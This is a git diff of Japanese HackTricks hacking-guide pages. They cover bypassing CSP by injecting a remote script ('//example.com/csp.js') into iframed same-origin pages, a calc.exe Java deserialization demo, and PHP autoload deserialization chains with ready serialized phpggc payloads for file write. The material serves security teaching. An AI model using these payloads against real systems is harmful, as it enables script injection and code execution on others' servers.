### テキストと画像を通じて
コードを文字列として送信する関数の使用を禁止します。例えば:`eval, setTimeout, setInterval` はすべて `unsafe-eval` の設定によりブロックされます。
現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されていますたとえば、背景の設定、中央揃えなど。その結果、`favicon.ico`や`robots.txt`などの画像やテキストファイルが`iframe`経由で開かれると、HTMLとしてレンダリングされます。特筆すべきは、これらのページにはしばしばCSPヘッダーが欠けていることやX-Frame-Optionsが含まれていないことがあり、それによりそれらから任意のJavaScriptが実行される可能性があることです。
外部ソースからのコンテンツもすべてブロックされます。これには画像、CSS、WebSockets、特にJSが含まれます。
### テキストと画像を介して
現代のブラウザは、表示を向上させるために画像やテキストをHTMLに変換することが観察されています背景の設定、中央揃えなど。その結果、`iframe`を介して`favicon.ico`や`robots.txt`のような画像やテキストファイルが開かれると、それはHTMLとしてレンダリングされます。特に、これらのページはCSPヘッダーを欠いていることが多く、X-Frame-Optionsが含まれていない場合があり、そこから任意のJavaScriptを実行できる可能性があります。
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
@ -28,9 +33,9 @@ script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
```
### エラー経由
### Via Errors
同様に、テキストファイルや画像などのエラーレスポンスは、通常CSPヘッダーが付与されず、X-Frame-Optionsが省略されることがあります。エラーをiframe内で読み込むよう誘導することで、以下のアクションが可能になります。
同様に、テキストファイルや画像のようなエラーレスポンスは、通常CSPヘッダーなしで提供され、X-Frame-Optionsを省略することがあります。エラーはiframe内で読み込むように誘発でき、以下のアクションを可能にします
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
@ -50,7 +55,7 @@ document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
```
以下のいずれかのシナリオをトリガーした後、次のようにしてiframe内でJavaScriptの実行が可能になります:
指定されたシナリオのいずれかをトリガーした後、iframe内でのJavaScript実行は次のように実現できます:
```javascript
script=document.createElement('script');
script.src='//example.com/csp.js';
@ -61,16 +66,17 @@ window.frames[0].document.head.appendChild(script);
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SS-Leaks
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details>
**投稿をチェック [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**投稿を確認してください [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
このPOSTでは、`java.io.Serializable` を使用した例が説明されます。
このPOSTでは、`java.io.Serializable`を使用した例が説明されます。
# Serializable
Javaの `Serializable` インターフェース (`java.io.Serializable`) は、**シリアライズ**および**デシリアライズ**されるクラスが実装する必要があるマーカーインターフェースです。Javaオブジェクトのシリアライズ書き込み [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) で行われ、デシリアライズ(読み込み)は [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) で行われます。
Javaの`Serializable`インターフェース(`java.io.Serializable`は、**シリアライズ**および**デシリアライズ**を行うクラスが実装しなければならないマーカーインターフェースです。Javaオブジェクトのシリアライズ書き込みは[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)を使用して行われ、デシリアライズ(読み込み)は[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)を使用して行われます。
**シリアライズ可能な** **Personクラス**の例を見てみましょう。このクラスは **readObject** 関数を **上書き**しており、この **クラス**の **任意のオブジェクト**が **デシリアライズ**されると、この **関数**が **実行**されます。\
この例では、Personクラスの **readObject 関数**は、彼のペットの `eat()` 関数と、Dogの `eat()` 関数(何らかの理由で)が **calc.exe** を呼び出すようになっています。**この計算機を実行するためにPersonオブジェクトをシリアライズおよびデシリアライズする方法を見ていきます:**
**シリアライズ可能な**クラスPersonの例を見てみましょう。このクラスは**readObject**関数を**オーバーライド**しているため、この**クラス**の**任意のオブジェクト**が**デシリアライズ**されると、この**関数**が**実行**されます。\
この例では、クラスPersonの**readObject関数**がそのペットの`eat()`関数を呼び出し、犬の`eat()`関数が(何らかの理由で)**calc.exe**を呼び出します。**この計算機を実行するためにPersonオブジェクトをシリアライズおよびデシリアライズする方法を見ていきます**
**以下の例は [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) から取得しています**
**以下の例は[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)からのものです。**
```java
import java.io.Serializable;
import java.io.*;
@ -95,4 +96,19 @@ payloadTest("test.ser");
```
## 結論
この非常に基本的な例でわかるように、ここでの「脆弱性」は、**readObject** 関数が**他の脆弱な関数を呼び出している**ために発生しています。
この非常に基本的な例からわかるように、ここでの「脆弱性」は**readObject**関数が**他の脆弱な関数を呼び出している**ために発生します。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,15 +1,31 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
**素晴らしい投稿をチェックしてください** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
**以下の素晴らしい投稿をチェックしてください** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,18 +1,34 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**する
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
投稿をチェックしてください:
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# PHP - デシリアライゼーション + オートロードクラス
# PHP - Deserialization + Autoload Classes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
最初に、[**オートローディングクラス**](https://www.php.net/manual/en/language.oop5.autoload.php) を確認する必要があります。
まず、[**オートローディングクラス**](https://www.php.net/manual/en/language.oop5.autoload.php)が何であるかを確認する必要があります。
## PHPデシリアライゼーション + spl\_autoload\_register + LFI/Gadget
## PHPデシリアライ + spl\_autoload\_register + LFI/Gadget
**`phpggc`** 内に**ガジェットがない**ライブラリを持つ **webアプリ****PHPデシリアライゼーション** を見つけた状況にいます。ただし、同じコンテナ内には **脆弱なライブラリを持つ別のcomposer webアプリ** がありました。したがって、目標は、**他のwebアプリのcomposerローダーを読み込んで**、デシリアライゼーションに脆弱なwebアプリからの **ガジェットを悪用してそのライブラリを攻撃するガジェットを読み込む** ことでした。
私たちは、**`phpggc`**内にガジェットに脆弱なライブラリが**ない**ウェブアプリで**PHPデシリアライズ**を見つけた状況にいます。しかし、同じコンテナ内には**脆弱なライブラリを持つ別のComposerウェブアプリ**がありました。したがって、目標は**他のウェブアプリのComposerローダーを読み込み**、それを悪用して**デシリアライズに脆弱なウェブアプリのガジェットを使用してそのライブラリを攻撃すること**でした。
手順:
手順
* **デシリアライゼーション** を見つけ、現在のアプリコードに **ガジェットがない**
* 次のような **`spl_autoload_register`** 関数を悪用して、`.php` 拡張子の **任意のローカルファイルを読み込む** ことができます
* そのために、クラス名が **`$name`** 内にあるデシリアライゼーションを悪用します。シリアル化されたオブジェクト内のクラス名には **"/" や "."** を使用できませんが、**コード** は **アンダースコア** ("\_") を **スラッシュ** ("/") に **置換** しています。したがって、`tmp_passwd` のようなクラス名は `/tmp/passwd.php` に変換され、コードがそれを読み込もうとします。\
**ガジェットの例** は: **`O:10:"tmp_passwd":0:{}`**
* **デシリアライズ**を見つけ、現在のアプリコードには**ガジェットがない**
* 次のような**`spl_autoload_register`**関数を悪用して、**`.php`拡張子のローカルファイルを読み込む**
* そのために、クラス名が**`$name`**の中に入るデシリアライズを使用します。シリアライズされたオブジェクトのクラス名に**"/"や"."**を使用することはできませんが、**コード**は**アンダースコア**("\_")を**スラッシュ**("/")に**置き換えています**。したがって、`tmp_passwd`のようなクラス名は`/tmp/passwd.php`に変換され、コードはそれを読み込もうとします。\
**ガジェットの例**は次のようになります:**`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
@ -48,16 +49,16 @@ require __DIR__ . $filename;
});
```
{% hint style="success" %}
**ファイルアップロード**があり、**`.php`拡張子**のファイルをアップロードできる場合、**この機能を直接悪用**してすでにRCEを取得できます。
もし**ファイルアップロード**があり、**`.php`拡張子**のファイルをアップロードできる場合、この機能を**直接悪用**してすでにRCEを取得することができます。
{% endhint %}
私の場合、そのようなものはありませんでしたが、**同じコンテナ**に**`phpggc`ガジェットに脆弱なライブラリ**を持つ別のコンポーザーWebページがありました。
私の場合、そのようなものはありませんでしたが、**同じコンテナ**に**`phpggc`ガジェットに脆弱なライブラリ**を持つ別のComposerウェブページがありました。
- この他のライブラリを読み込むには、まず**その他のWebアプリのコンポーザーローダーを読み込む必要があります**(現在のアプリケーションのものは他のアプリケーションのライブラリにアクセスできません)。**アプリケーションのパスを知っている**場合、次のように非常に簡単にこれを達成できます:**`O:28:"www_frontend_vendor_autoload":0:{}`**(私の場合、コンポーザーローダーは`/www/frontend/vendor/autoload.php`にありました)
- これで、他の**アプリのコンポーザーローダー**を**読み込む**ことができるようになりました。次は、使用する**`phpggc`ペイロードを生成**する時です。私の場合、**`Guzzle/FW1`**を使用し、**ファイルシステム内に任意のファイルを書き込む**ことができました。
- 注:**生成されたガジェットは機能しませんでした**。機能させるためには、そのペイロードの**`chain.php`**を変更し、クラスの**すべての属性をプライベートからパブリックに設定**する必要がありました。そうしないと、文字列を逆シリアル化した後、作成されたオブジェクトの属性に値が含まれていませんでした。
- これで、他のアプリのコンポーザーローダーを**読み込む方法**と機能する**phpggcペイロード**を持っていますが、**この作業を**ガジェットが使用される**ときにローダーが読み込まれるようにするために**同じリクエストでこれを行う必要があります**。そのため、次のように両方のオブジェクトを含むシリアル化された配列を送信しました:
- **最初にローダーが読み込まれ、次にペイロードが表示されます**
* この別のライブラリを読み込むには、まず**その別のウェブアプリのComposerローダーを読み込む必要があります**(現在のアプリケーションのものは他のライブラリにアクセスできません)。**アプリケーションのパスを知っていれば**、次のように非常に簡単に実現できます:**`O:28:"www_frontend_vendor_autoload":0:{}`**私の場合、Composerローダーは`/www/frontend/vendor/autoload.php`にありました)
* さて、他の**アプリのComposerローダーを読み込む**ことができるので、**使用するための`phpgcc`** **ペイロードを生成する**時が来ました。私の場合、**`Guzzle/FW1`**を使用し、これにより**ファイルシステム内の任意のファイルを書き込む**ことができました。
* 注:**生成されたガジェットは機能しませんでした**。機能させるために、**`chain.php`**のペイロードを**修正**し、クラスの**すべての属性**を**privateからpublicに**設定しました。そうしないと、文字列をデシリアライズした後、作成されたオブジェクトの属性には値がありませんでした。
* これで、**他のアプリのComposerローダーを読み込む方法**があり、**機能するphpggcペイロード**もありますが、**ガジェットが使用されるときにローダーが読み込まれるように、同じリクエストでこれを行う必要があります**。そのため、次のように両方のオブジェクトを含むシリアライズされた配列を送信しました:
* **最初にローダーが読み込まれ、その後ペイロードが表示される**のがわかります。
{% code overflow="wrap" %}
```php
@ -65,7 +66,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
